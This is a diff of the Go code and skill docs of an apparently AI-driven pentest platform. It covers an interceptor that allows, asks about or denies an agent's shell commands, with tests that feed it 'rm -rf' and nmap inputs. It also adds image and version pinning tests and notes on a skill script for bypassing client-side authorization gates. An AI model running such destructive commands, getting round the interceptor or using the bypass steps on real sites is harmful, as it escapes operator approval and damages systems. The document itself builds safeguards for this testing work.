{ID: 2, Name: "allow curl", Enabled: true, Priority: 90, MatchTarget: "tool_input", MatchType: "string", Pattern: "curl ", Action: "allow"},
{ID: 3, Name: "deny rm", Enabled: true, Priority: 80, MatchTarget: "tool_input", MatchType: "string", Pattern: "rm -rf", Action: "deny"},
})
dec, ok := ic.Match("Bash", bashInput(`"$T" x; curl -s http://x.htb/`))
if !ok || dec.Action != "ask" || dec.RuleID != 1 || dec.TimeoutAction != "deny" {
t.Errorf("possible nmap then allow curl: got (%+v, %v), want ask of rule 1", dec, ok)
}
dec, ok = ic.Match("Bash", bashInput(`"$T" x; rm -rf /tmp/x`))
if !ok || dec.Action != "deny" || dec.RuleID != 3 {
t.Errorf("possible nmap then rm -rf: got (%+v, %v), want deny of rule 3", dec, ok)
}
// An ask rule keeps its own timeout policy.
ic.SetRulesForTest([]db.InterceptRule{{ID: 4, Name: "ask nmap", Enabled: true, Priority: 100, MatchTarget: "tool_input",
MatchType: "argv", Pattern: `["nmap"]`, Action: "ask", TimeoutEnabled: true, TimeoutSeconds: 30, TimeoutAction: "allow"}})
dec, ok = ic.Match("Bash", bashInput(`"$T" x`))
if !ok || dec.Action != "ask" || !dec.TimeoutEnabled || dec.TimeoutSeconds != 30 || dec.TimeoutAction != "allow" {
t.Errorf("possible match of an ask rule: got (%+v, %v), want its timeout policy", dec, ok)
}
}
+48 -2
View File
@@ -710,13 +710,23 @@ func judgeActionLabel(action string) string {
// Returns (Decision, true) for the first matching enabled rule, or
// (Decision{}, false) if no rule matches. When the rules cannot be loaded it
// returns a deny.
//
// A deny or ask argv rule that may match (argvPossible) asks, see
// possibleArgvDecision; a later rule that matches still decides when it
// denies, since a deny is stricter than that ask.
func (i *Interceptor) Match(toolName string, input []byte) (Decision, bool) {
rules, err := i.rules()
if err != nil {
return storeUnreadableDecision(), true
}
var possible *Decision
for _, r := range rules {
if ruleMatches(r, toolName, input) {
m := ruleMatch(r, toolName, input)
if m == argvPossible && possible == nil {
d := possibleArgvDecision(r)
possible = &d
}
if m == argvMatched && (possible == nil || r.Action == "deny") {
msg := r.Message
if msg == "" {
msg = defaultMessage(r.Action, r.Name)
@@ -733,9 +743,44 @@ func (i *Interceptor) Match(toolName string, input []byte) (Decision, bool) {
}, true
}
}
if possible != nil {
return *possible, true
}
return Decision{}, false
}
// possibleArgvDecision answers a deny or ask argv rule that may match: a part
// of the command that may run the rule's program is only known when it runs.
// An ask rule asks as configured. A deny rule asks too, and its approval
// times out to deny: denying would also refuse every ordinary command whose
// program is a variable or that pipes a download into a shell, with no way
// for an operator to let one through, while the ask still runs nothing
// without an operator's approval.
func possibleArgvDecision(r compiledRule) Decision {
d := persistenceDecision(r)
if r.Action == "deny" {
d.Action = "ask"
d.TimeoutAction = "deny"
}
d.Message = "intercept rule [" + r.Name + "] may match this command: part of it is only known when it runs, manual approval required"
return d
}
// ruleMatch is ruleMatches, keeping apart a deny or ask argv rule that may
// match from one that matches.
func ruleMatch(r compiledRule, toolName string, input []byte) argvMatch {
if !r.bad && r.MatchType == "argv" && (r.Action == "deny" || r.Action == "ask") {
if r.MatchTarget != "tool_input" {
return argvNoMatch
}
return argvCompoundMatch(r.argv, toolName, input)
}
if ruleMatches(r, toolName, input) {
return argvMatched
}
return argvNoMatch
}
// builtinRulePrefix marks the rules seeded by the platform (db.seedDefaultInterceptRules
// and its v2/v3 migrations).
const builtinRulePrefix = "[built-in]"
@@ -813,7 +858,8 @@ func ruleMatches(r compiledRule, toolName string, input []byte) bool {
// Allow rules stay strictly limited to a single simple command with
// exact derived prefix and denylist enforcement. Deny and ask rules
// walk every call in a compound Bash command, stripping known wrappers
// and recursing into eval / shell -c payloads.
// and recursing into eval / shell -c payloads. One that may match
// counts as a match here; Match asks for it instead (ruleMatch).
if r.Action == "allow" {
if CheckArgvAllow(r.argv) != nil {
return false
+65
View File
@@ -0,0 +1,65 @@
package sandbox
import (
"os"
"path/filepath"
"regexp"
"strings"
"testing"
)
// Every image the repository's Dockerfiles build from must be pinned by
// digest (tag@sha256:...), so a rebuild runs the reviewed base and not
// whatever the tag points to that day. Dependabot keeps the digests current.
func TestDockerfileBaseImagesArePinnedByDigest(t *testing.T) {
files, err := filepath.Glob(filepath.Join("..", "Dockerfile*"))
if err != nil {
t.Fatal(err)
}
files = append(files, filepath.Join("..", "egress-guard", "Dockerfile"))
for _, want := range []string{"Dockerfile", "Dockerfile.runner", "Dockerfile.worker", "Dockerfile.egress-proxy"} {
found := false
for _, f := range files {
if filepath.Base(f) == want {
found = true
}
}
if !found {
t.Fatalf("%s not found next to the module root", want)
}
}
digest := regexp.MustCompile(`^[^@\s]+:[^@\s]+@sha256:[0-9a-f]{64}$`)
for _, f := range files {
raw, err := os.ReadFile(f)
if err != nil {
t.Fatalf("read %s: %v", f, err)
}
stages := map[string]bool{}
froms := 0
for i, line := range strings.Split(strings.ReplaceAll(string(raw), "\r\n", "\n"), "\n") {
fields := strings.Fields(line)
if len(fields) == 0 || !strings.EqualFold(fields[0], "FROM") {
continue
}
froms++
args := fields[1:]
for len(args) > 0 && strings.HasPrefix(args[0], "--") {
args = args[1:]
}
if len(args) == 0 {
t.Errorf("%s:%d: FROM without an image", f, i+1)
continue
}
image := args[0]
if !stages[strings.ToLower(image)] && image != "scratch" && !digest.MatchString(image) {
t.Errorf("%s:%d: FROM %s is not pinned as tag@sha256:<digest>", f, i+1, image)
}
if len(args) >= 3 && strings.EqualFold(args[1], "AS") {
stages[strings.ToLower(args[2])] = true
}
}
if froms == 0 {
t.Errorf("%s: no FROM line", f)
}
}
}
+1 -1
View File
@@ -45,7 +45,7 @@ func TestFix410ReleasedDefaultsRefreshed(t *testing.T) {
}
defer m.Close()
s := &Server{m: m}
const flag = "tool_schema_refresh_record_fact_facts_only"
const flag = "tool_schema_refresh_record_fact_evidence_lines"
seed := recordFactSeed(t)
seedSchema, _ := json.Marshal(seed.Schema)
seedAgents, _ := json.Marshal(seed.Agents)
+5 -3
View File
@@ -12,7 +12,9 @@ import (
// descriptions, bindings, enabled/deferred flags and parameter annotations.
// refreshRecordFactContract brings an already-seeded record_fact row to the
// facts-only contract (one-time, settings flag). SeedTool is first-insert-only
// current texts (one-time per flag value: the flag was renamed when evidence
// became output lines only, so a database refreshed for the facts-only
// contract is refreshed once more). SeedTool is first-insert-only
// and ToolResolve serves the stored text, so without this an old database keeps
// describing the earlier contract (fact fields at the top level beside facts[])
// to the model. Only text equal to the previous code default is replaced:
@@ -27,7 +29,7 @@ import (
// (also when it changed no row) or the row is not the built-in one. A failed
// read, decode or UPDATE leaves it unset, so the next start retries.
func (s *Server) refreshRecordFactContract() {
const flag = "tool_schema_refresh_record_fact_facts_only"
const flag = "tool_schema_refresh_record_fact_evidence_lines"
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {
return
}
@@ -91,7 +93,7 @@ WHERE key='record_fact' AND system AND kind='builtin'
return
}
done()
log.Printf("[facts] record_fact now publishes the facts-only contract (one-time)")
log.Printf("[facts] record_fact now publishes the current contract texts (one-time)")
}
func sliceHas(list []string, s string) bool {
+4 -4
View File
@@ -165,7 +165,7 @@ func TestRefreshRecordFactContract(t *testing.T) {
seedAgents, _ := json.Marshal(seed.Agents)
restore := func() {
_ = m.pg.UpsertToolForce("record_fact", seed.Desc, seedSchema, seedAgents)
_, _ = m.pg.Exec(`DELETE FROM settings WHERE key='tool_schema_refresh_record_fact_facts_only'`)
_, _ = m.pg.Exec(`DELETE FROM settings WHERE key='tool_schema_refresh_record_fact_evidence_lines'`)
}
defer restore()
@@ -176,7 +176,7 @@ func TestRefreshRecordFactContract(t *testing.T) {
if err := m.pg.UpsertToolForce("record_fact", desc, json.RawMessage(legacySchema), seedAgents); err != nil {
t.Fatal(err)
}
if _, err := m.pg.Exec(`DELETE FROM settings WHERE key='tool_schema_refresh_record_fact_facts_only'`); err != nil {
if _, err := m.pg.Exec(`DELETE FROM settings WHERE key='tool_schema_refresh_record_fact_evidence_lines'`); err != nil {
t.Fatal(err)
}
s.seedFactInputSchema()
@@ -217,7 +217,7 @@ func TestRefreshRecordFactContract(t *testing.T) {
if enum, _ := items["source"].(map[string]any)["enum"].([]any); len(enum) != 5 {
t.Fatalf("source enum missing on the items: %v", items["source"])
}
if v, _, _ := m.pg.GetSetting("tool_schema_refresh_record_fact_facts_only"); v != "true" {
if v, _, _ := m.pg.GetSetting("tool_schema_refresh_record_fact_evidence_lines"); v != "true" {
t.Fatal("flag not set")
}
// Second start: nothing changes.
@@ -252,7 +252,7 @@ func TestFix410RefreshFlagNotSetOnFailure(t *testing.T) {
}
defer m.Close()
s := &Server{m: m}
const flag = "tool_schema_refresh_record_fact_facts_only"
const flag = "tool_schema_refresh_record_fact_evidence_lines"
seed := recordFactSeed(t)
seedSchema, _ := json.Marshal(seed.Schema)
seedAgents, _ := json.Marshal(seed.Agents)
+99
View File
@@ -0,0 +1,99 @@
package server
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"testing"
"github.com/Autumn-27/artex/agent"
)
// The facts-only record_fact texts seeded by v0.7.0 and v0.7.1 asked for the
// command in evidence. The agent package's list of known defaults must hold
// their released bytes (checked by size and sha256 here, apart from that
// list), and a database that stores one of them with the v0.7 evidence item
// text is refreshed once to the current texts, even when it already ran the
// facts-only refresh.
func TestRecordFactV07DefaultsRefreshed(t *testing.T) {
released := map[string]struct {
sum string
size int
}{
"v0.7.0": {"dc16f3e014625f6336944028bf2caeb5b6f1feab80a70cb43a8f2c87397b9469", 2909},
"v0.7.1": {"ef8bfd930e5b5d3bb425a87ef914045465b313d4f1d96f39e20fd44ba9e5d839", 3181},
}
legacyTool, _, legacyItems := agent.RecordFactLegacyDescriptions()
found := map[string]string{}
for _, d := range legacyTool {
sum := sha256.Sum256([]byte(d))
for rel, want := range released {
if len(d) == want.size && hex.EncodeToString(sum[:]) == want.sum {
found[rel] = d
}
}
}
for rel := range released {
if found[rel] == "" {
t.Fatalf("the known record_fact defaults miss the description released in %s", rel)
}
}
oldEvidence := legacyItems["evidence"]
if sum := sha256.Sum256([]byte(oldEvidence)); len(oldEvidence) != 101 || hex.EncodeToString(sum[:]) != "848fdbd2c770726c8346b8c65c717eeda720a72bfb5707aa792bec1014633eb7" {
t.Fatalf("the known evidence item text is not the v0.7 text: %q", oldEvidence)
}
skipWithoutDSN(t)
m, err := NewManager(t.TempDir(), "")
if err != nil {
t.Fatal(err)
}
defer m.Close()
s := &Server{m: m}
const flag = "tool_schema_refresh_record_fact_evidence_lines"
seed := recordFactSeed(t)
seedSchema, _ := json.Marshal(seed.Schema)
seedAgents, _ := json.Marshal(seed.Agents)
defer func() {
_ = m.pg.UpsertToolForce("record_fact", seed.Desc, seedSchema, seedAgents)
_, _ = m.pg.Exec(`DELETE FROM settings WHERE key=$1 OR key='tool_schema_refresh_record_fact_facts_only'`, flag)
}()
evidenceOf := func(schema map[string]any) map[string]any {
return schema["properties"].(map[string]any)["facts"].(map[string]any)["items"].(map[string]any)["properties"].(map[string]any)["evidence"].(map[string]any)
}
for rel, desc := range found {
var stored map[string]any
_ = json.Unmarshal(seedSchema, &stored)
evidenceOf(stored)["description"] = oldEvidence
raw, _ := json.Marshal(stored)
if err := m.pg.UpsertToolForce("record_fact", desc, raw, seedAgents); err != nil {
t.Fatal(err)
}
if _, err := m.pg.Exec(`DELETE FROM settings WHERE key=$1`, flag); err != nil {
t.Fatal(err)
}
if err := m.pg.SetSetting("tool_schema_refresh_record_fact_facts_only", "true"); err != nil {
t.Fatal(err)
}
s.seedFactInputSchema()
s.seedFactSourceSchema()
s.refreshRecordFactContract()
row, err := m.pg.GetTool("record_fact")
if err != nil || row == nil {
t.Fatalf("%s: row: %v", rel, err)
}
if row.Description != seed.Desc {
t.Errorf("%s description not replaced by the current one: %.80q", rel, row.Description)
}
var after map[string]any
if err := json.Unmarshal(row.Schema, &after); err != nil {
t.Fatal(err)
}
if got, want := evidenceOf(after)["description"], evidenceOf(seed.Schema)["description"]; got != want {
t.Errorf("%s evidence item description = %v, want %v", rel, got, want)
}
if v, _, _ := m.pg.GetSetting(flag); v != "true" {
t.Errorf("%s: flag = %q after the refresh, want true", rel, v)
}
}
}
+6 -5
View File
@@ -624,7 +624,7 @@ func (s *Server) seedOrchestrationTools() {
s.reseedMainAgentPrompt() // mainagent prompt updated to orchestration-only (no shell/file/HTTP tools) → old DBs append a new default version (one-time)
s.reseedAutoPrompt() // auto prompt hardened with explicit spawn_task(seed_first_intent=true) dispatch rules (one-time)
s.reseedPlannerPrompt() // planner prompt: rewrites the "zero intents" justification rules + adds quantitative acceptance checks (one-time)
s.reseedWorkerPrompt() // worker prompt: adds the evidence bar for negative conclusions (one-time)
s.reseedWorkerPrompt() // worker prompt: evidence quotes output lines only, the command goes in detail (one-time)
s.seedReporterAgent() // seeds the "report writer" agent + tool bindings + finding trigger (one-time)
s.upgradeReporterTriggerMessage() // backfill migration for old DBs: makes the reporter send evidence_version back (one-time)
s.seedFindingTrafficTools() // adds optional evidence params and read-only evidence tools, preserving user config
@@ -633,7 +633,7 @@ func (s *Server) seedOrchestrationTools() {
s.seedFindingEvidenceSchema() // optional counterevidence / confidence_rationale on report_finding, added once per DB
s.seedFactInputSchema() // restore record_fact single/batch contracts
s.seedFactSourceSchema() // source enum on record_fact, added once per DB
s.refreshRecordFactContract() // record_fact publishes the facts-only contract (one-time)
s.refreshRecordFactContract() // record_fact publishes the current contract texts (one-time per flag)
s.seedTaskScopeDescription() // add_task_scope: "coverage scope, not enforced" replaces the authorization-boundary text
// Note: pentest's default tool bindings need no migration — BuiltinToolSeeds already seeds
// list_assets/insert_assets/report_finding/list_findings/list_companies together with
@@ -889,11 +889,12 @@ func (s *Server) reseedPlannerPrompt() {
// reseedWorkerPrompt refreshes the worker prompt to [the current code default] — the record_fact section of the default body dropped the whole "for negative conclusions,
// write observations + tentative readings" sentence and decoupled confidence (observed/inferred) from "whether this intent's options are exhausted" (these easily mislead the planner),
// and tightened per-item facts arrays to the rare exception of "fully independent of each other, impossible to merge". Bumped the flag to v3 so existing old DBs refresh once more.
// and tightened per-item facts arrays to the rare exception of "fully independent of each other, impossible to merge". v5: evidence quotes output lines only
// and the command goes in detail, matching the provenance check. Bump the flag so existing old DBs refresh once more.
// SeedPromptIfEmpty is first-insert-only; versions already in old DBs never got it, so version management [appends a new version] and switches to it; old versions stay in history and can be recovered.
// settings flag guard → done only once. Fresh DBs need nothing. Structurally identical to reseedGoalsPrompt.
func (s *Server) reseedWorkerPrompt() {
const flag = "worker_prompt_compact_v4"
const flag = "worker_prompt_compact_v5"
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {
return
}
@@ -914,7 +915,7 @@ func (s *Server) reseedWorkerPrompt() {
log.Printf("[prompts] failed to refresh worker prompt to the new default: %v", err)
return
}
log.Printf("[prompts] worker prompt: appended a new default version (context-lookup section narrowed to list_assets/list_findings, dropping list_facts/node_detail/asset_neighbors, one-time)")
log.Printf("[prompts] worker prompt: appended a new default version (evidence quotes output lines only, the command goes in detail, one-time)")
}
// reporterToolCallMessage must unconditionally require reading get_finding_traffic once before writing the report.
+138
View File
@@ -0,0 +1,138 @@
package server
import (
"io/fs"
"os"
"path/filepath"
"regexp"
"strconv"
"strings"
"testing"
)
// The shared browser and the browser MCP run the Chromium builds that the
// image's Playwright packages install, with --no-sandbox. Each package must
// stay on a release that bundles Chromium 157.0.8103.50 or later. The
// minimums are the first releases that do, read from each release's
// playwright-core browsers.json:
// - playwright 1.65.0: Chromium 158.0.8127.18 (1.64.1 ships 156.0.8078.4)
// - @playwright/mcp 0.0.85: 158.0.8127.18 (0.0.84 ships 157.0.8103.15)
// - @playwright/cli 0.1.24: 158.0.8127.18 (0.1.23 ships 157.0.8103.15)
var playwrightMinimumPins = map[string]string{
"PLAYWRIGHT_VERSION": "1.65.0",
"PLAYWRIGHT_MCP_VERSION": "0.0.85",
"PLAYWRIGHT_CLI_VERSION": "0.1.24",
}
func dockerfilePlaywrightPins(t *testing.T) map[string]string {
t.Helper()
raw, err := os.ReadFile(filepath.Join("..", "Dockerfile"))
if err != nil {
t.Fatalf("read Dockerfile: %v", err)
}
pins := map[string]string{}
re := regexp.MustCompile(`(?m)^ARG (PLAYWRIGHT(?:_MCP|_CLI)?_VERSION)=(\S+)\s*$`)
for _, m := range re.FindAllStringSubmatch(string(raw), -1) {
if prev, ok := pins[m[1]]; ok && prev != m[2] {
t.Fatalf("Dockerfile declares %s twice: %s and %s", m[1], prev, m[2])
}
pins[m[1]] = m[2]
}
for name := range playwrightMinimumPins {
if pins[name] == "" {
t.Fatalf("Dockerfile has no ARG %s", name)
}
}
return pins
}
// parseReleaseVersion accepts only a plain MAJOR.MINOR.PATCH release: a
// prerelease or a tag such as "latest" does not name reviewed bytes.
func parseReleaseVersion(v string) ([3]int, bool) {
var out [3]int
parts := strings.Split(v, ".")
if len(parts) != 3 {
return out, false
}
for i, p := range parts {
n, err := strconv.Atoi(p)
if err != nil || n < 0 || strconv.Itoa(n) != p {
return out, false
}
out[i] = n
}
return out, true
}
func versionAtLeast(got, floor [3]int) bool {
for i := range got {
if got[i] != floor[i] {
return got[i] > floor[i]
}
}
return true
}
func TestDockerfilePlaywrightPinsBundleFixedChromium(t *testing.T) {
pins := dockerfilePlaywrightPins(t)
for name, floor := range playwrightMinimumPins {
got, ok := parseReleaseVersion(pins[name])
if !ok {
t.Errorf("Dockerfile ARG %s=%s is not an exact release version", name, pins[name])
continue
}
want, _ := parseReleaseVersion(floor)
if !versionAtLeast(got, want) {
t.Errorf("Dockerfile ARG %s=%s bundles Chromium older than 157.0.8103.50; need %s or later", name, pins[name], floor)
}
}
}
// Skills that tell an agent to install a Playwright package must name the
// version the image ships, never a floating tag.
func TestSkillPlaywrightInstallsMatchDockerfilePins(t *testing.T) {
pins := dockerfilePlaywrightPins(t)
want := map[string]string{
"@playwright/cli": pins["PLAYWRIGHT_CLI_VERSION"],
"@playwright/mcp": pins["PLAYWRIGHT_MCP_VERSION"],
"@playwright/test": pins["PLAYWRIGHT_VERSION"],
"playwright": pins["PLAYWRIGHT_VERSION"],
}
re := regexp.MustCompile(`(@playwright/(?:cli|mcp|test)|playwright)@([0-9A-Za-z.\-]+)`)
root := filepath.Join("..", "skills")
seen := 0
err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
if d.IsDir() || filepath.Ext(path) != ".md" {
return nil
}
raw, err := os.ReadFile(path)
if err != nil {
return err
}
text := string(raw)
for _, m := range re.FindAllStringSubmatchIndex(text, -1) {
pkg, ver := text[m[2]:m[3]], text[m[4]:m[5]]
if pkg == "playwright" && m[2] > 0 {
// Part of another name, such as create-playwright@ or a path.
if c := text[m[2]-1]; c == '/' || c == '-' || c == '_' || c == '.' ||
(c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') {
continue
}
}
seen++
if ver != want[pkg] {
t.Errorf("%s: %s@%s, want %s@%s (the Dockerfile pin)", path, pkg, ver, pkg, want[pkg])
}
}
return nil
})
if err != nil {
t.Fatalf("walk skills: %v", err)
}
if seen == 0 {
t.Fatal("no Playwright install found in skills/; the playwright-cli skill should name its pinned version")
}
}
+1 -1
View File
@@ -301,7 +301,7 @@ When the server validates sessions step by step (signed cookies that cannot be f
3. **Phase 1b**: path anchor window expansion + binding layer → `param_candidates.json` (section J)
4. Reverse-engineer A1/A2/A3 → write a site-specific `config.json`
5. **Read and adjust** `runtime_harvest.js` / `preload.js` before executing
6. `runtimeMode=depth`: `npm install` → run the adjusted harvest script
6. `runtimeMode=depth`: `npm ci --ignore-scripts` (installs the versions in `package-lock.json`) → run the adjusted harvest script
7. `runtimeMode=coverage/both`: inject the adjusted preload at document-start → browser MCP dynamic enumeration + **parameter trigger matrix**
8. Modules do not render → **section I permission-tree restoration** → patch stubs → rerun
9. Multi-sample parameter diff + error-driven inference → `params_merged.json`
+2 -2
View File
@@ -11,7 +11,7 @@
* 2. interceptor gate-> rewrite the "unauthorized" code field to success
* 3. content gate -> stub the menu/permission endpoint with a full-feature payload
*
* Requires puppeteer-core + a system Chromium. ( cd scripts && npm install )
* Requires puppeteer-core + a system Chromium. ( cd scripts && npm ci --ignore-scripts )
*
* config.json schema (all fields optional except baseUrl):
* {
@@ -38,7 +38,7 @@ const path = require('path');
let puppeteer;
try { puppeteer = require('puppeteer-core'); }
catch (e) { console.error("[!] run `npm install` in the scripts/ dir first (needs puppeteer-core)"); process.exit(1); }
catch (e) { console.error("[!] run `npm ci --ignore-scripts` in the scripts/ dir first (needs puppeteer-core)"); process.exit(1); }
function loadCfg(p) {
const c = JSON.parse(fs.readFileSync(p, 'utf8'));
+1 -1
View File
@@ -351,7 +351,7 @@ npx --no-install playwright --version
When local version is available, use `npx playwright cli` in all commands. Otherwise, install `playwright-cli` as a global command at the version ARTEX ships (upgrade deliberately, after reviewing the release):
```bash
npm install -g @playwright/cli@0.1.22
npm install -g @playwright/cli@0.1.25
```
## Example: Form submission
@@ -153,10 +153,11 @@ test -f playwright.config.ts || test -f playwright.config.js
npx --no-install playwright --version
```
If there is no Playwright install, bootstrap one and let the user pick the defaults:
If there is no Playwright install, add the test runner at the version ARTEX ships (its Chromium is already installed in the image), then write a minimal `playwright.config.ts` with `testDir: './tests'`:
```bash
npm init playwright@latest
npm init -y
npm install --save-dev --save-exact @playwright/test@1.65.1
```
### 1.2 Prerequisite: seed test